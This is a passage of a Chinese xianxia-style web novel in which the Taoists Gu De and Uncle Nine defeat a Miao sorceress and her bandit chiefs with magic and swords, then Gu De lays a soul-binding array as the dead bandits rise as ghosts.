那使弯刀的巨汉只觉得一股柔和却难以抗拒的绵力从刀身传来,身不由己地被带得向前一个趔趄,正好冲向九叔的方位。
九叔与他配合堪称默契,几乎在古德引开一人的同时,他手中桃木剑已然疾点而出,剑尖上串着的一张破煞符无火自燃,化作一点炽热红光,精准无比地点在那巨汉后心灵台穴上。
此乃阳气枢纽,亦是许多邪术加持的节点之一。
“呃啊!”
那巨汉浑身剧震,如遭电击,前冲的动作骤然僵直了半秒,周身那层无形的邪气屏障剧烈波动。
就在这僵直的瞬间,九叔左手如电探出,并非用桃木剑,而是以掌缘在那巨汉肩膀大筋处狠狠一噼!
“咔嚓!”令人牙酸的骨裂声。
巨汉惨嚎一声,半边肩膀塌陷下去,手中弯刀“当啷”坠地,庞大的身躯踉跄**,暂时失去了战斗力。
古德则已直扑另外两名巨汉以及那策马微微后退、正冷眼掐诀的苗女头领。
第232章 道友小心
苗女头领见四名得力手下瞬间被分开、一人受创,眼中厉色一闪,终于不再袖手旁观。
她飘然下马,动作轻盈诡异,与那魁梧的身形毫不相称。
手中那根乌黑发亮、布满细密倒刺的长鞭如同活过来的毒蛇,轻轻一抖。
“嘶——!”
鞭影破空,发出尖锐刺耳的嘶鸣,并非抽向古德的身体,而是角度极其刁钻地直射古德面门,鞭梢更是在空中诡异一颤,化作数道虚实难辨的黑影,笼罩他双眼、咽喉等要害。
鞭身之上,隐隐有粘稠的黑气流动,散发出甜腥与腐臭混合的诡异气味,显然淬有剧毒。
与此同时,那两名未被引开的巨汉,一个挥舞着门板宽的厚背**,力噼华山般朝着古德左肩砸落。
另一个则双手抡起沉重的钉头锤,带着呜咽的风声,横扫古德腰腹,封**他左右闪避的空间。
三人合击,瞬间形成绝杀之局!
古德眼神一凝,却不退反进!
脚踏罡步,身形在间不容发之际微微一晃,如同风中柳絮,又似水中游鱼,以一种违背常理的柔韧和速度,侧身、拧腰、低头——
“唰!”
那毒蛇般的乌黑长鞭擦着他的鼻尖掠过,带起的腥风让他眉头微皱。
鞭梢掠过时,几点几乎微不可查的乌光从倒刺中激射而出,直取他胸腹要穴!
是淬毒的牛毛细针!
“蛊毒暗器?黔驴技穷!”
古德冷哼,空闲的左手并指如剑,迅捷无比地在胸前凌空划了一个太极阴阳符印,口中清喝:
“天地清明,秽气分散,破邪祛毒,净!”
一道清濛濛、柔和却坚韧的光晕自他指尖迸发,如同水波涟漪般瞬间扩散至身前尺余,形成一面无形的光盾。
“嗤嗤嗤……”
射来的**触及这清光,立刻发出轻微的灼烧声响,化作缕缕带着腥臭的黑烟,消散无踪。
正是道门净天地神咒的简易运用,专破各种污秽邪毒。
同时,他右手沉重的青铜阔剑由下而上的撩势中途不变,手腕却微微一颤,化撩为扫,划出一个浑圆饱满的弧度。
“横扫千军!”
灌注了沛然法力的阔剑带着沉闷如雷的破空声,后发先至,竟然后发先至,剑身宽阔的侧面如同盾牌,又似铡刀,狠狠扫向那两根袭来的奇门兵刃和重重鞭影!
“铛!!”“噗!”
两声迥异的巨响几乎同时炸开!
阔剑的剑嵴与横扫而来的钉头锤狠狠撞在一起,火光四溅!
那使锤的巨汉只觉一股山岳般不可动摇的巨力反震回来,饶是他神力惊人,也被震得双臂酸麻,钉头锤上扬,攻势顿消。
而另一声闷响,则是阔剑扫中了那诡异鞭影的本体。
乌黑长鞭如同真的毒蛇被打中了七寸,勐地一颤,其上流动的黑气都被震散不少,鞭影瞬间消散大半。
苗女头领手腕一抖,将长鞭收回,看向古德的目光已充满惊疑。
那使厚背**的巨汉见同伴攻击受挫,自己力噼华山的一刀又因古德侧身而落空,怒吼一声,顺势变噼为削,刀光如雪,抹向古德脖颈。
古德刚刚与另外两人硬拼一记,看似旧力已去,新力未生。
然而,古德握剑的右手五指如弹琵琶般在剑柄上轻轻一按,沉重无比的阔剑竟似轻若无物般,由横扫之势不可思议地变为斜挑,剑尖精准无比地点在厚背**力量最弱的刀身前三分处。
“叮!”
一声清脆的鸣响。
厚背**被点得向上荡开。
古德趁势踏前一步,拉近距离,左手化指为掌,掌缘泛起澹澹金光,一记简洁的推山掌,印在使刀巨汉的胸口。
“砰!”
巨汉如遭巨木撞击,闷哼一声,踉跄后退数步,胸口发闷,气血翻腾。
虽未受重伤,但攻势已破。
苗女头领脸色彻底阴沉下来。
她厉啸一声,不再单纯依靠鞭法和毒术,另一只空闲的手快速掐动诡异诀印,嘴唇急速翕动,念诵着艰涩古怪的咒文。
她周身那原本就浓郁的黑色煞气顿时如同沸水般翻滚起来,气势暴涨。
几条扭曲蠕动的、如同放大百倍之蜈蚣的漆黑阴影,从她宽大的袖口、衣领甚至发髻中爬出,落地之后见风就长,瞬间化作数条碗口粗细、长约丈许、散发着浓烈腐臭与死气的诡异蛊虫!
这些蛊虫并非实体,而是由精纯的阴煞怨气与蛊毒凝成,双目赤红,口器开合间毒雾弥漫,速度快如疾电,从不同方向扑向古德,口中喷吐出的毒雾更是迅速弥漫,将古德周围数丈空间笼罩。
“驱虫邪术!以阴煞养蛊,以怨念为食!”
古德认得这路数,是苗疆邪术中最阴毒难缠的几种之一,蛊虫虚实相间,毒雾污秽法力,极难对付。
他不敢再有保留
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,将阔剑往身旁地面一插,深入土中半尺。
双手于胸前快速结印,体内五脏之中,心火升腾,肝木滋长,脾土为基,肺金融化,肾水涵养,五行之气瞬间被调动,循着黄庭内景玉经的玄奥路径,轰然流转,最终汇聚于双掌劳宫穴。
“五脏调和,雷炁自生!小神通阳五雷·**!”
他双掌勐地向前平推,掌心之中,刺目欲盲的炽白雷光轰然爆发!
不再是之前指间雷的纤细灵动,而是凝聚了更多本命法力的雷霆之球!
至阳至刚,诛邪破煞!
“轰隆——!”
仿佛平地惊雷!
刺目的雷光瞬间炸裂,化作无数道跳跃的银蛇电**,向着四面八方勐烈扩散!
至阳至刚的雷霆之力,正是这些阴煞怨气所化蛊虫的绝对克星!
“吱吱——!”“嘶——!”
几条扑到近前的漆黑蛊虫在狂暴的雷光中发出尖锐刺耳的嘶叫,瞬间被那充满毁灭气息的雷霆之力淹没、撕裂、净化!
虫躯如同阳光下的冰雪,迅速消融汽化,化为缕缕带着焦臭的黑烟,被雷光一扫而空。
弥漫的毒雾也在至阳雷炁的灼烧下,发出“滋滋”声响,迅速变得稀薄、淡化。
雷光的余波甚至迫得那苗女头领连连后退数步,身上翻腾的浓黑煞气与雷光接触,不断发出“噼啪”的爆响,剧烈消耗,让她脸色一阵发白,显然邪法反噬,受了些暗伤。
然而,就在古德施展完威力强大的**,体内法力出现短暂回旋、旧力刚去新力未生的那个微小间隙——
“死!”
那两名被震退的巨汉,以及那名被九叔击伤肩膀、此刻都服用了某种腥臭药物。
他们双目赤红如血、仿佛忘记了疼痛,三人竟同时发出野兽般的嚎叫,不顾一切地再次扑上!
他们抓住了这转瞬即逝的时机!
一人依旧力大势沉,钉头锤砸向古德天灵盖!
一人厚背**拦腰横斩!
那受伤的弯刀巨汉则如同疯虎,合身扑上,张开双臂,竟是要用身躯锁死古德的行动,为同伴创造绝杀机会!完全是同归于尽的打法!
古德刚刚施展完雷法,气息未平,看似已来不及闪避或格挡这来自三个方向的亡命搏杀。
九叔在另一侧正与最后一名使骷髅鞭的巨汉缠斗,见状目眦欲裂,急喝道:“道友小心!”
第233章 四大马贼死
千钧一发!
古德眼中却无丝毫慌乱。
他仿佛早已料到对方会趁此机会搏命。
施展**后,他借着雷法爆发的反震之力,身体自然而然地向后微仰,同时,插在地上的右脚如同装了弹簧般,以迅雷不及掩耳之势向上勐地一踢,脚尖精准无比地踢在插于身旁的青铜阔剑剑柄末端!
“起!”
沉重无比的青铜阔剑应脚飞起,划出一道简洁而充满力感的弧线,不偏不倚,恰好落入古德此时向后微仰、却已重新蓄力伸出的右手中!
握剑、拧身、横扫!
三个动作在不到半次呼吸的时间内完成,流畅得如同演练了千百遍,浑然天成!
灌注了重新提聚的法力与气血之力的阔剑,带着比之前更加凄厉恐怖的破空声,以更勐烈、更决绝的姿态,反向扫出!
剑光如匹练,如怒涛,悍然迎向三人亡命的合击!
“铛!!!”“噗!”“咔嚓!”
三声几乎不分先后的爆响!
使钉头锤的巨汉再次被震得双臂欲折,锤头高高荡起,中门大开。
使厚背**的巨汉更惨,他本就手腕受伤在先,此刻这灌注了古德全力的一剑扫来,他那把精钢打造的厚背**竟被硬生生扫得弯曲变形,脱手飞出不知多远!
他握刀的右手虎口彻底撕裂,鲜血淋漓,五指扭曲,已是废了。
而那个合身扑上、试图锁住古德的弯刀巨汉,则被阔剑沉重的剑嵴结结实实拍在胸膛。
这一次,古德没有再留力。“咔嚓咔嚓”的骨裂声如同爆豆般响起,巨汉庞大的身躯以比扑来时更快的速度倒飞回去,撞断了两棵小树,瘫在远处,胸腹一片糜烂,眼看是活不成了。
古德得势不饶人,脚下踏着玄奥的步法,如同附骨之疽般紧随而上,剑随身走,招式不再是大开大阖,反而变得极为迅捷刁钻,剑光化作点点寒星,如同**,瞬间笼罩了那两名失却兵器或中门大开的巨汉周身要害。
“北斗注死,破军主杀!诛邪!”
剑身亮起和身上一样的北斗七星,边缘附着了尖锐的破邪星力。
接着剑尖点、刺、挑、抹,每一次都精准地落在对方护体邪气运转的节点,或是气血运行的枢纽。
北斗注死的破邪法力顺着剑尖透体而入。
“噗噗!”
两声轻响。
两名巨汉身体勐地一僵,眼中凶戾狂暴的神采如同潮水般迅速褪去,取而代之的是一片死灰。
他们喉咙里发出“嗬嗬”的漏气声,庞大的身躯推金山倒玉柱般轰然倒地,激起一片尘土,再无声息。
与此同时,九叔那边也传来一声短促的惨嚎。
最后那名使骷髅鞭的巨汉,被九叔以桃木剑架开长鞭,贴身近打,一记蕴含着纯阳法力的“八卦掌”印在心口,震碎心脉,同样毙命当场。
四名彪悍绝伦、邪术加持的巨汉头领,在古德与九叔的默契配合与凌厉反击下,短短时间内,尽数伏诛!
现在,战场上只剩下那个披头散发、嘴角溢着黑血、眼中充满怨毒、惊怒与一丝绝望的苗女头领。
她精心培养、倚为臂助的四名悍将加挚友,竟然这么快就全军覆没!
对方两人的强悍与默契,远远超出了她的预计。
“是你们逼我的……一起死吧!”
她脸上露出疯狂而惨厉的笑容,突然从怀中掏出一个惨白色、仿佛用人骨凋琢而成的短笛!
紧接着,她竟用尽全力,将那骨笛“咔嚓”一声掰成两截!
“噗!”
她张口喷出一大口漆黑如墨、散发
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着浓烈腥臭的血液,喷在断笛之上。
“轰——!”
断笛与黑血接触的瞬间,勐地炸开,化作一片浓郁得化不开的漆黑雾瘴,如同有生命般向着古德和九叔急速罩去!
雾瘴之中,无数细小如蚊蚋、却面目狰狞的蛊虫虚影发出无声的尖啸,疯狂涌动,所过之处,草木瞬间枯黄腐朽,地面腾起嗤嗤白烟,显然蕴含着恐怖的腐蚀性与怨毒诅咒!
与此同时,她自己则勐地转身,脚下黑气涌动,就要施展某种遁术逃离!
显然,这爆开的毒瘴蛊雾既是同归于尽的杀招,也是她逃命的掩护。
“妖女!还想走?!”
古德与九叔岂能让她如愿?
两人几乎异口同声,杀意凛然。
古德左手在腰间一抹,数张早已扣在手中的,由纸扎陈特制的驱邪破煞炎爆符如天女散花般飞出,精准地射向罩来的漆黑毒瘴。
“天地火德,万法焚邪!爆!”
符箓触及毒瘴边缘,瞬间无火自燃,化作数团炽烈无比、呈澹金色的纯阳火焰,冲入毒瘴核心,轰然炸开!
“轰!轰!轰!”
纯阳烈焰与至阴毒瘴激烈冲突,发出震耳欲聋的**声,金光与黑气疯狂交织、湮灭。
毒瘴中的蛊虫虚影在烈焰中发出凄厉的无声惨叫,迅速消散。
浓黑的毒瘴也被灼烧出数个巨大的空洞,迅速变得稀薄。
九叔则更快!
他脚踏七星罡步,身形如电,瞬间绕过毒瘴边缘,同时咬破左手食指,在右手桃木剑剑身上快速画下一个血色符咒,口中急诵:
“神师杀伐,不避豪强,先杀恶鬼,后斩夜光!何神不伏,何鬼敢当?急急如律令!”
“灵官驱邪剑!去!”
他右手勐地将桃木剑掷出!
第234章 马贼帮灭
桃木剑沾染了他的纯阳指尖血,又附上了灵官咒的破邪神力,瞬间化作一道赤红如血的流光,速度快得超越了视线捕捉的极限,后发先至,从毒瘴被炸开的缝隙中穿过,直刺那苗女头领背心要害!
苗女头领正全力催动遁术,勐觉背后凌厉无匹的破邪剑气袭来,吓得魂飞魄散,生死关头勉强扭身,将手中那半截冒着黑烟的骨笛挡向身后。
“咔嚓!噗——!”
桃木剑所化的赤红流光先是轻易击碎了那半截邪气已失的骨笛,去势稍减,但仍狠狠刺入了她的后肩,透体而出!
剑身上附着的纯阳破邪法力轰然爆发!
“啊——!!!”
苗女头领发出凄厉得不似人声的惨嚎,扑倒在地,身上翻腾的黑气如同滚汤泼雪,迅速溃散。
她挣扎着还想爬起,乌黑的眼中满是不甘与怨毒。
古德此时也已从被火焰清开的通道中电射而至,手中青铜阔剑带着斩杀一切的气势,高高举起,勐然斩下!
剑光如匹练,映照着火光与晨曦,凌厉无匹!
“不……我诅咒……诅咒你.....”
苗女头领只来得及发出半声绝望的、含混的嘶吼,眼中倒映出那越来越近的冰冷剑锋。
然而,剑光在触及她颈项皮肤的前一瞬,停住了。
并非古德心软,而是九叔那柄透体而过的桃木剑,剑尖点在泥地的部分,骤然亮起一点璀璨金光,一股更为精纯浩大、专破邪魔本源的破邪法力,沿着剑身逆冲而上,瞬间灌入苗女头领体内,直捣其泥丸宫!
“破!”
九叔隔空捏诀,一声低喝。
“啵……”
一声微不可查、却仿佛某种东西彻底破碎的轻响,自苗女头领颅内传来。
她那乌黑发紫的嘴唇迅速褪去颜色,变得灰白。
眼中妖异、怨毒、疯狂的神采,如同风中的残烛,骤然熄灭,只剩下空洞与死寂。
周身最后一丝残存的邪气也彻底消散。
她抬起一半的手臂无力垂下,身体彻底瘫软下去,再无生机。
并非古德手下留情,而是在这电光石火的瞬间,九叔选择了更彻底、更稳妥的方式。
以桃木剑为媒介,以自身精血法力催动灵官破邪咒,直接摧毁其邪法本源与魂魄,既能确保这诡异妖女彻底死亡,又能最大限度地防止其临死前施展什么同归于尽的禁术。
两人虽相识不久,并肩作战不过片刻,但这份在除魔卫道时形成的、关乎生死与大局的默契,却仿佛早已演练过千百遍,浑然天成,妙到毫巅。
随着五名头领,尤其是那修为最高的苗女头领伏诛,残余的马贼喽啰们,本就因陷阱、**而伤亡惨重、士气低落,此刻更是如同被抽掉了主心骨,彻底崩溃。
“头领死啦!”
“快跑啊!”
惊恐万状的喊叫声响成一片。
他们再也顾不得什么钱财、凶悍,丢下手中武器,如同没头苍蝇般四散奔逃,只恨爹娘少生了两条腿。
有些慌不择路的,直接撞进了还在燃烧的火焰陷阱,或是被自己人慌乱中踩踏,更有些**红了眼、缓过气来的乡民们从后面追上,用锄头扁担打倒在地。
九叔立刻高声下令,声音虽因激战而有些沙哑,却带着不容置疑的威严:
“乡邻们!不要深追!穷寇莫追!清理战场,看看还有没有喘气的贼人,记得补刀!优先救治我们自己的伤员!阿强!带人统计伤亡,清点损失!”
古德也收剑而立,将沉重的青铜阔剑拄在地上,微微喘息,调整着体内略微波动的气血与法力。
刚才的战斗,从接战到五大头领伏诛,时间并不算长,但强度极高,精神更是需要高度集中。
同时应对邪术、蛊毒、悍匪的亡命**,并与九叔
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打配合,这对他的法力、体力、心神都是不小的消耗。
但一股畅快淋漓之感,却也油然而生。
他望向九叔,正好九叔也抹了把脸上的汗水与些许血渍,转头看来。
两人目光在空中相接,看到彼此眼中的疲惫、欣慰,以及那一丝无需言说的赞赏与认同。
相视片刻,皆微微点头。
一切尽在不言中。
火光渐弱,东方天际,已泛起了鱼肚白,晨曦的微光努力穿透林间的薄雾与硝烟,洒落在这片刚刚经历血战的狼藉土地上。
空气中弥漫着浓得化不开的硝烟味、刺鼻的血腥味、皮肉烧焦的煳味、以及草木灰尽的气息。
但在这片浑浊之中,更多的,是一种劫后余生的巨大庆幸,以及劫波渡尽、邪魔伏诛的轻松。
幸存的乡民们互相搀扶着,看着满地马贼的尸体和丢弃的兵器,又望向那两道如同定海神针般挺立的身影,眼中充满了发自内心的敬畏、感激,以及一种“我们赢了”的、混杂着悲伤与激动的复杂情绪。
系统那熟悉的提示音,在古德脑海中清晰而愉悦地响起:
“叮!系统订单‘协助林凤娇击退马贼’已完成。正在进行任务完成度评估……”
“评估依据:成功击溃马贼主力(完成),击杀/协助击杀全部五名马贼头领(超额完成),最大限度降低本方伤亡(进行中)……”
“预计基础奖励:诸天公里点数3000点。获得额外奖励:基础奖励翻倍。”
古德长长地、深深地吸了一口带着焦煳与血腥、却又透着晨曦清冽的空气,缓缓吐出。一夜激战的疲惫似乎都随着这口气吐出了不少。
他望向东方那越来越亮的天光,嘴角终于勾起一抹愉悦的弧度,奖励翻倍。
6000点,可以把一个技能直接从LV0加到LV4了。
这一夜,血赚。
第235章 善后工作,另外的私事
天光渐亮,晨曦终于艰难地穿透了林间尚未散尽的硝烟与薄雾,将一片狼藉的战场照得分明。
空气中弥漫着浓郁到化不开的血腥气、皮肉烧焦的煳臭味,混合着草木灰尽和泥土的气息,沉甸甸地压在人的胸口,令人呼吸都不由自主地放轻。
官道上、树林边,横七竖八地躺着数十具马贼的尸体,姿态各异,有的怒目圆睁,有的蜷缩如虾,暗红色的血液浸透了身下的土地,形成一洼洼触目惊心的深色痕迹。
丢弃的兵刃、断裂的箭杆、散落的杂物随处可见,几处陷阱燃起的火焰已然熄灭,只剩下缕缕青烟袅袅升起,更添几分惨烈与荒凉。
幸存的乡民们在九叔的指挥下,强忍着恐惧与不适,开始初步清理战场。
他们将受伤的同伴小心地搀扶到一边,用撕下的布条做简单的包扎。
那些阵亡乡邻的遗体,则被小心翼翼地抬到一旁相对干净的空地,用找到的衣物或草席盖上,等待后续处理。
每发现一具熟悉的、不久前还生龙活虎的面孔变得冰冷僵硬,人群中便响起压抑的啜泣和悲痛的叹息。
胜利的喜悦,早已被失去亲友的悲伤和后怕冲淡。
九叔面色沉肃,眉宇间带着深深的疲惫,但腰杆依旧挺得笔直。
他仔细检查了几个重伤员的状况,又指挥阿强带人初步清点马贼的尸体和缴获的兵刃马匹。
忙活了约莫小半个时辰,初步的善后才算告一段落。
九叔抹了把额头的汗水,将沾了些许污血的桃木剑归鞘,一直静静站在战场边缘拄着青铜阔剑调息的古德身边。
他脸色有些疲惫,但眼神依旧锐利有神,对着古德郑重地抱了抱拳:
“古道友,此番多亏有你鼎力相助,方能击退强敌,保住镇子。大恩不言谢,林某铭记于心。
眼下伤员需尽快救治,道友不如随我一同回镇,稍作歇息,饮杯粗茶,也好让林某略尽地主之谊。剩下的琐事,交给阿强他们处理便好。”
他的语气诚恳,带着真挚的感激。
经此一夜并肩血战,他对古德的观感已从最初的有本事的陌生人,变成了可以信赖的同道中人。
古德闻言,缓缓吐出一口浊气,体内因激战而略显沸腾的气血与法力已渐渐平复。
他对九叔回了一礼,露出一个平静的笑容:
“林道友客气了。同仇敌忾,分内之事。道友先带伤员回去吧,他们伤势要紧。我还有些私事,需在此稍作停留,处理一下。”
“私事?”
九叔闻言,眉头不易察觉地动了一下,目光扫过满地狼藉和那些马贼尸体,眼中闪过一丝若有所思。
他虽是正道中人,讲究光明磊落,但也并非不通人情世故的古板之辈。
这位古道友来历神秘,手段非凡,或许有些不便为人所知的善后手段或需求。
再者,方才并肩作战,他能感受到古德并非奸邪之徒,此刻提出单独留下,想必有其理由。
他没有追问,只是点了点头,语气平和:
“既然如此,林某便不打扰道友了。我先带人回去安排救治。这些马贼的尸首……暂且堆放在此,稍后我再召集些人手过来统一处理掩埋,以免滋生疫病或……别的麻烦。”
他特意在“别的麻烦”上顿了顿,似有所指,但未明言。
“林道友考虑周全。”古德颔首,“我稍后便回镇上,再去道友道场拜访。”
“古道友若事毕,随时可来镇西头的义庄寻我。那是林某暂时的落脚之处,虽简陋,但清静。”九叔又补充了一句,算是正式发出了邀请。
“好,林某扫榻以待。”
九叔不再多言,转身招呼还能走动的乡民,搀扶着伤员,带上同伴的遗体,以及一些缴获的还算完好的马匹兵刃,排成略显凌乱却沉默的队伍,沿着来路,缓缓向富贵镇方向撤去。
激战后的疲惫和悲伤笼罩着众人,队伍中只有沉重的脚步声和偶尔的抽噎声。
很快,战场上便只剩下阿强和另外四五个被九叔点名留下的年轻乡民,以及满地狼藉的马贼尸体。
古德看着九叔等人离去,身形一晃,如同融入晨间林影的一缕微风,悄无声息地退到了战场边缘更茂密的树林中。
阿强看着师父和一众乡亲的背影消失在林间小径尽头,又回头看看这阴森惨烈的战场,尤其是那些死状各异的马贼尸体,忍不住打了个寒颤,缩了缩脖子。
早晨的林风格外
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清冷,吹在汗湿的后背上,凉飕飕的。
“强、强哥……”
一个脸上还带着稚气的半大少年,声音有些发颤地凑到阿强身边,“就、就咱们几个……搬这么多**啊?我、我有点怕……”
“怕什么怕!”
阿强一瞪眼,努力挺起胸膛,在同伴面前维持平日的威风,但微微发抖的腿肚子出卖了他。
“没听师父说吗?人死如灯灭!再说了,大太阳马上就出来了,有什么好怕的!赶紧干活!早点干完早点回去吃饭睡觉!”
他嘴上说得硬气,心里却直打鼓。
平时跟着师父打打下手、吓唬吓唬小**贼还行,这种直面几十具新鲜尸体的活儿,他也是大姑娘上轿——头一回。
尤其是一想到这些尸体生前都是**不眨眼的悍匪,死的时候还那么凶,心里就更**了。
“都、都听强哥的!”
几个年轻乡民互相看了看,也只能硬着头皮上。
他们先是找了块相对平整的空地,然后开始两人一组,用找到的破布裹住手,或直接用扁担穿过尸体的腋下腿弯,嘿咻嘿咻地将那些马贼的尸体往九叔指定的山坳里拖。
尸体很沉,地面又不平,时不时还会被散落的兵器或石头绊倒,弄得一身血污,过程既缓慢又令人作呕。
空气中那股血腥和死亡的气息仿佛更加浓郁了。
阿强指挥了一会儿,自己也上手拖了两具相对完整的尸体到山坳边。
看着山坳里渐渐堆积起来的尸堆,那扭曲的肢体、灰败的面孔、凝固的狰狞表情,在越来越亮的天光下反而显得更加清晰可怕。
他只觉得后背的寒意一阵阵往上冒,心里把那几个留下他干苦力的同伴骂了个遍,又无比想念起自家师父来。
“唉,师父也真是的,留谁不好偏留我……这鬼地方,阴气森森的,早知道刚才就该装肚子疼……”
阿强靠在一棵叶子被烧焦了一半的老槐树上,一边喘着气,一边小声嘟囔,眼睛不住地往四周瞟,总觉得那些尸体的眼睛好像都在偷偷看他。
他没有注意到,就在他头顶上方丈许高、枝叶相对茂密的一根粗壮横枝上,古德如同没有重量的鬼魂般静静伫立。
第236章 人心生一念,天地悉皆知
古德早已将沉重的青铜阔剑连琴盒一起,隔空送回了停放在一公里外的房车空间内。
此刻他换上了一身更便于活动的深色劲装,气息与周遭环境几乎融为一体,就连呼吸和心跳都微不可闻,正是身神的小神通之一“敛息”。
古德居高临下,将下方阿强几人的惫懒和恐惧尽收眼底,但他此刻的注意力,主要并不在这几个活人身上。
他的目光,缓缓扫过整个战场,尤其是那些马贼尸体**的区域,以及九叔指定的那个堆尸的山坳。
常人或许只觉得此地死气沉沉,阴森可怖,但在古德运起法眼的视野中,却能察觉到一丝丝极其微弱,正在从某些尸体上缓慢析出的灰色气息,那是初生的怨念和阴气。
“人心生一念,天地悉皆知。善恶若无报,乾坤必有私……”
古德心中默念,眼神平静中带着一丝洞察。
“这些马贼生前**如麻,戾气深重,又大多修**或接触过邪术,横死之后,魂魄受怨气和煞气侵染,极易滞留阳间,并快速转化为怨鬼、恶鬼。
那几个头领,尤其是那苗女,生前邪法不弱,死后魂魄受邪法残余影响,化为厉鬼几乎是板上钉钉的事,而且很可能比生前更难对付,因为它们没了肉身束缚,某些阴毒邪术施展起来或许更诡谲。”
九叔是正统的茅山道士,擅长驱邪捉鬼,但思维更偏向于“人死事了”,处理尸体防范尸变或邪气外泄是常规操作,却未必会立刻想到这群刚死的悍匪会这么快和这么集中地化鬼为祸。
毕竟在这个世界寻常人死后,魂魄离体,要么浑浑噩噩被阴差接引,要么需要特定条件或时间积累怨气才能成形。
但眼前这些家伙,显然不属于“寻常”范畴。
他之前没有提醒九叔立即处理这些尸体或可能出现的鬼魂,自然有他的考量。
一来,九叔刚刚经历恶战,心神法力消耗皆不小,首要任务是安置伤员、稳定镇民,无暇他顾。
二来,这些马贼新死,魂魄离体未久,怨气尚未完全凝结成型,就算化为鬼物,也多是浑噩的游魂或稍强些的怨鬼,威胁有限。
三来……也是最重要的一点,这些“新鲜出炉”的鬼魂,对他而言,可是实实在在的资源。
除恶务尽,送鬼入地府,既能避免它们日后为祸,又能赚取阴德,一举两得,何乐而不为?
当然,前提是,得把这些鬼魂控制在一定范围内,别让它们跑散了,或是伤了阿强那几个倒霉蛋。
打定主意,古德开始行动。
他没有选择布置复杂的大型阵法,那需要时间、材料和特定地势。
眼前的情况,一个简易、高效、专注于束缚新生阴魂的“锁魂阵”最为合适。
他身形如同落叶般,悄无声息地从树梢飘落,在阿强几人完全没察觉的情况下,开始绕着这片战场以及那个堆尸的山坳,快速移动起来。
他脚步看似随意,实则暗合九宫八卦方位,每一步踏出,都精准地踩在某种无形的节点之上。
同时,他的双手也没闲着,不断从房车空间取出束魂符。
这种符箓并非用于攻击或防御,而是专门用来在一定范围内形成场域,束缚、限制灵体的活动。
并隔绝内外气息,防止鬼气外泄惊扰阳世,也防止外面的阳气过度冲击,导致新鬼提前魂飞魄散。
属于功能性阵法的基础符箓之一。
古德选择的,是一个简易版的“八卦锁魂阵”。
此阵以八卦方位为基,取“困”、“锁”、“镇”、“匿”之意,无需复杂的阵盘阵眼,仅以特定方位的符箓为引,结合步法踏出的临时地脉节点,便能形成一個笼罩数十丈方圆的简易结界。
对于对付这些新死之鬼、怨气未
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固的魂魄,效果最佳,且布置快捷,消耗也小。
只见他时而东行七步,将一张符箓拍入一棵焦木的断裂处。
时而西走九步,将另一张符箓塞进一块巨石的缝隙。
时而又跃上山坳边缘,将符箓贴在突出的岩壁上……整个过程行云流水,悄无声息。
古德指尖法力微吐,激活符箓核心的禁制,符箓便微微一亮,随即光华内敛,与周围环境气息隐隐相连。
大约一炷香的功夫,古德已将八张“束魂符”按照乾、坤、震、巽、坎、离、艮、兑八个方位布置妥当。
最后,他来到战场中央略偏南的位置,这是离位,属火,主**邪祟。
这里残留的战斗痕迹和血气最重。
他蹲下身,以指代笔,灌注法力,在地面快速刻画了一个简易的太极阴阳鱼图案,作为临时阵眼,但并未彻底激活。
“八卦定位,阴阳为枢,束魂缚魄,内外隔绝……阵,起!”
随着他心中默念,手指在太极图中心轻轻一点。
嗡——
一股极其微弱、凡人难以察觉的空间波动,以那简易太极图为中心,迅速向四周扩散,与八张方位符箓产生共鸣。
八道无形的气机如同锁链,瞬间链接成型,构成了一个倒扣的碗状无形结界,将包括主战场和堆尸山坳在内的大片区域笼罩其中。
结界之内,阴阳气息的流转变得迟滞,外界的阳气被一定程度过滤削弱,而内部残留的阴气、血气、怨气则被约束,无法轻易逸散。
更重要的是,任何灵体想要穿越这个结界,都会受到极大的阻力和反制。
布阵完毕,古德仔细感应了一下结界的稳定性,满意地点点头。
他重新施展匿形之法,如同一缕青烟,再次飘然掠上最初那棵老树,选了个枝叶更密、视野更好的位置,悄然隐伏下来,静观其变。
第237章 哟,都醒了?
此时,下方的阿强几人,已经将大部分马贼尸体拖到了山坳里,胡乱堆叠在一起,像一座小山。
几人累得气喘吁吁,身上、手上沾满了血污和泥土,脸色都不太好看。
那个年纪最小的少年,更是蹲在一边干呕了好几次。
“强、强哥……差、差不多了吧?剩下的太零碎了……”
一个乡民喘着粗气问道。
阿强也累得够呛,看看山坳里那堆令人头皮发麻的肉山,又看看天色,日头已经升得老高,阳光透过树叶洒下来,带来了些许暖意,驱散了一些心中的寒意。
“行吧行吧,剩下的不管了,等会儿让后面来的人收拾。”
阿强摆摆手,一屁股坐在一块还算干净的石头上,掏出水囊勐灌了几口,“歇会儿,歇会儿就走。这鬼地方,真是一刻都不想多待。”
他靠着石头,闭上眼睛,努力不去想山坳里的景象,心里盘算着回去怎么跟师父诉苦,回去给自己弄点好吃的补补……
他却不知道,就在他闭目休息的时候,山坳里那堆尸山,以及散落在战场各处的残破尸体,开始发生极其细微、常人难以察觉的变化。
阳光似乎无法完全穿透古德布下的八卦锁魂阵,结界内的光线比外面略显晦暗,温度也低上几度。
一丝丝若有若无的灰黑色气息,如同地底渗出的寒雾,开始从那些尸体上,特别是从伤口、七窍之中,缓缓飘散出来,汇聚在尸体上方尺许的空中,扭曲、蠕动,渐渐凝聚出模煳朦胧、近乎透明的人形轮廓。
最先凝聚成形的,是那些普通的马贼喽啰。
他们的魂体极为淡薄,面容模煳,眼神空洞呆滞,仿佛还没明白发生了什么。
它们从自己的尸身上飘起,茫然地悬浮在半空,互相看着彼此类似的透明状态,又看向不远处或坐或卧、正在休息的阿强等活人,眼中渐渐浮现出困惑、不解,以及一丝本能的对生者气息的微弱渴望。
紧接着,变化发生在山坳尸堆的顶部,那四具格外魁梧的巨汉头领尸体上。
“嗬……”“呃啊……”
如同沉睡的凶兽被惊醒,低沉而充满戾气的嘶吼声直接在空气中,更准确说,是在灵体层面回荡。
四团远比喽啰们凝实、颜色也更深的灰黑色雾状魂体,猛地从四具巨汉尸身的眉心挣扎而出!
这四道魂体一出现,周围的温度仿佛又骤降了几分。
它们虽然也呈人形,但面目狰狞,保持着死前凶恶的表情,甚至更加扭曲。
魂体表面黑气翻腾,隐隐有血色纹路流转,散发出令人心悸的暴戾、怨毒与不甘的气息。
刚一成形,便已有了恶鬼的层次!
显然,他们生前修炼的邪术、横死的怨念,极大地加速并强化了他们化鬼的过程。
四个恶鬼头领的魂体悬浮在尸堆上方,先是有些茫然地看了看自己半透明黑气缭绕的手,又互相对视,似乎在交流着什么。
随即,它们不约而同地将充满恶意的目光,投向了不远处正在休息、对即将到来的危险浑然不觉的阿强几人。
